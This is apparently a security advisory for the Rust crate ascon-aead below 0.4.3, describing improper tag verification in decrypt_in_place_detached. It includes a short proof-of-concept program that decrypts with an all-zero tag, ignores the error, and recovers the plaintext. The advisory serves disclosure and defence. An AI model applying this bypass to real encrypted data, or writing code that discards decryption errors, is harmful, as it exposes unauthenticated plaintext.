Improper Verification of Cryptographic Signature Affecting ascon-aead package, versions <0.4.3

ascon-aead is an implementation of the authenticated encryption schemes Ascon-128, Ascon-128a, and Ascon-80pq.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the decrypt_in_place_detached process. An attacker can access unauthenticated plaintext by exploiting incorrect tag verification, which fails to prevent the exposure of decrypted data even when the authentication tag does not match.

use ascon_aead::Tag;
use ascon_aead::{Ascon128, Key, Nonce};
use ascon_aead::aead::{AeadInPlace, KeyInit};

fn main() {

    let key = Key::<Ascon128>::from_slice(b"very secret key.");
    let cipher = Ascon128::new(key);

    let nonce = Nonce::<Ascon128>::from_slice(b"unique nonce 012"); // 128-bits; unique per message

    let mut buffer: Vec<u8> = Vec::new(); // Buffer needs 16-bytes overhead for authentication tag
    buffer.extend_from_slice(b"plaintext message");

    // Encrypt `buffer` in-place detached, replacing the plaintext contents with ciphertext
    cipher.encrypt_in_place_detached(nonce, b"", &mut buffer).expect("encryption failure!");
    
    // Decrypt `buffer` in-place with the wrong tag, ignoring the decryption error
    let _ = cipher.decrypt_in_place_detached(nonce, b"", &mut buffer, Tag::<Ascon128>::from_slice(b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"));

    assert_eq!(&buffer, b"plaintext message");
}

• GitHub Commit